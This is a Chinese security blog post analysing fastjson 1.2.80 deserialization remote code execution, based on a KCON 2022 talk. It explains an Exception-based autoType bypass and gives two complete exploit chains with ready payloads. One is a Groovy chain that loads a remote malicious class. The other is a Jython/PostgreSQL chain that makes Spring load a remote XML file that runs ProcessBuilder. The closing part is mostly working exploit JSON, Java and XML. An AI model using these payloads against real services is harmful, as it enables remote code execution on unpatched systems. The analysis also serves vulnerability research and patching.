查看原文
其他

原创 | 从KCON2022议题来看fastjson新版本RCE

Robo Terh SecIN技术平台 2024-05-25

点击蓝字




关注我们



fastjson <= 1.2.80


首先还是贴一点前面几篇文章已经提到的分析,作为一点对fastsjon 1.2.80的基础知识,当然,还是不懂得,可以看我有一篇fastjson的分析合集,从fastjson从无到有的漏洞都有。


对上个版本的修复

将期望类java.lang.AutoCloseable加入了黑名单。

漏洞分析


但是除了AutoCloseable可以进行绕过,Throwable也可以进行绕过,简单分析一下。

主要是找到一个Deserializer可以将expressClass作为checkAutoType的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze中存在。

这里限制了必须为Throwable类或子类,存在一个java.lang.Exception类,不仅在TypeUtils.mappings中存在,而且没有在黑名单中。

所以只需要找到继承java.lang.Exception的类,就能够绕过检查,跟进代码,在第一次进入checkAutoType中的时候expectClass为null。

一直跟进到这里尝试从mappings中获取缓存。
之后在ParserConfig#getDeserializer通过clazz获取到了反序列化器为ThrowableDeserializer
之后调用其derserialize方法,跟进。

之后在这里获取下一个@type

最后在这里将java.lang.Exception类作为expressClass传入,也能够成功绕过黑名单的检验


因为Exception类也是继承至Throwable类,所以我们在寻在payload的时候就可以通过寻找Throwable的子类就可以将特定类添加进入缓存中。


KCON议题分析


其在议题中阐述主要得触发点就是在JSON.toJavaObject方法中。

他会调用TypeUtils.cast方法,跟进一下。

将会继续调用cast方法。

之后调用了castToJavaBean中。

这里通过map.get获取了@type标志后的对象,这里有一个需要注意的点就是需要将@type通过"@type":"java.lang.String"将其转为字符串,不然会将其后面的内容进行反序列化操作,之后将会将其类加入缓存,并且调用了最后的return语句调用castToJavaBean方法。


也就是上面截图中的方法,他会判断后面的类是不是接口,是不是Locale类等等,在最后关键的是有一个javaBeanDeserializer的一个获取,对于Exception类来说。

对于Exception类来说因为继承至Throwable类,所以其对应的反序列化器就是ThrowableDeserializer

特别的,对于这个序列化器,由下图可以很明白的知道他是继承至JavaBeanDeserializer反序列化器的。

所以最后回到之前讲的castToJavaBean方法中,就能够满足deserializer instanceof JavaBeanDeserializer的判断条件,将反序列化其传递给javaBeanDeser,最后调用了其createInstance方法,触发了后面的反序列化链。


利用链


RCE1

主要是在Throwable的子类
org.codehaus.groovy.control.CompilationFailedException类中做文章。

在这个构造方法中存在一个ProcessingUnit类型的参数unit,至于为什么选择这个构造方法,而不是下面的两个形参的构造方法呢?这就是因为在JavaBean实例化机制中如果有多个构造方法就会选用形参较多的一个构造方法,回归正题,跟进ProcessingUnit

他是一个抽象类,我们找找他的实现。

存在JavaStubCompilationUnit这样一个子类。

在其构造方法中存在有CompilerConfiguration类型的config,因为在构造方法中会调用父类的构造方法。

再次调用构造方法。
又调用了他的父类ProcessingUnit的构造方法。
特别注意,这里能够调用setClassLoader方法。
因为之前在构造JavaStubCompilationUnit类的对象的时候我们只传入了一个参数config,所以这里loader为Null, 创建GroovyClassLoader类,最后会来到。
从这里我们可以知道,取出了config的classpath值, 添加进入了GroovyClassLoader的classpath中去了,所以回到之前构造confg对象的时候我们可以设置一个远程地址,之后会调用
ASTTransformationVisitor#addPhaseOperations方法。

紧接着调用了addGlobalTransforms方法,最终会调用到addPhaseOperationsForGlobalTransforms方法。

在这里他首先通过loadclass方法加载类,之后会判断是否有GroovyASTTransformation注解,如果没有将会出现异常,之后会将类进行实例化。
payload
public class Fj80_POC { private static String poc1 = "{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + " \"unit\":{}\n" + "}";
private static String poc2 = "{\n" + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + " \"config\":{\n" + " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" + " \"classpathList\":\"http://127.0.0.1:9999/\"\n" + " }\n" + "}";
/* META-INF/services/org.codehaus.groovy.transform.ASTTransformation Evil Evil.class */
public static void main(String[] args) { try { JSON.parseObject(poc1); } catch (Exception e){}
JSON.parseObject(poc2); }}
Evil.java
import java.io.IOException;import org.codehaus.groovy.ast.ASTNode;import org.codehaus.groovy.control.SourceUnit;import org.codehaus.groovy.transform.ASTTransformation;import org.codehaus.groovy.transform.GroovyASTTransformation;
@GroovyASTTransformationpublic class EvilObject111 implements ASTTransformation { public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {}
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } }}

RCE2

这条链子主要是在org.python.antlr.ParseException中,其中存在一个setType方法。
其为PyObject对象。
浅蓝师傅找到了com.ziclix.python.sql.PyConnection类继承了PyObject类,其构造方法中存在java.sql.Connection的接口。
其中有一个PgConnection类,在其构造方法中,具有
ConnectionFactory.openConnection的调用。
将会来到openConnectionImpl方法的执行。
调用SocketFactoryFactory.getSocketFactory。

之后取出FactoryClass类名,之后进行实例化,跟进。
如果这里的类名我们定义为
org.springframework.context.support.ClassPathXmlApplicationContext类名,就会实例化这个类。
传入远程的xml文件,将会造成SPEL命令执行。
payload
Spring-Evil.xml
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc" /> <property name="a" value="#{ pb.start() }" /> </bean></beans>
private static String poc1 = "{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\":\"org.python.antlr.ParseException\"\n" + "}";private static String poc2 = "{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":{\n" + " \"@type\":\"com.alibaba.fastjson.JSONObject\",{\n" + " \"@type\":\"java.lang.String\"\n" + " \"@type\":\"org.python.antlr.ParseException\",\n" + " \"type\":\"\"\n" + " }\n" + " }\n";private static String poc3 = "{\n" + " \"@type\":\"org.python.core.PyObject\",\n" + " \"@type\":\"com.ziclix.python.sql.PyConnection\",\n" + " \"connection\":{" + " \"@type\":\"org.postgresql.jdbc.PgConnection\",\n" + " \"hostSpecs\":[{\"host\":\"127.0.0.1\",\"port\":2333}],\n" + " \"user\":\"user\",\n" + " \"database\":\"test\",\n" + " \"info\":{\n" + " \"socketFactory\":\"org.springframework.context.support.ClassPathXmlApplicationContext\",\n" + " \"socketFactoryArg\":\"http://127.0.0.1:9999/spring-Evil.xml\"\n" + " },\n" + " \"url\":\"\"\n" + " }\n" +        "}";

往期推荐



原创 | 网鼎杯ezjava利用分析

原创 | VMWare Workspace ONE Access Auth Bypass

原创 | 浅析RDP攻击面

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存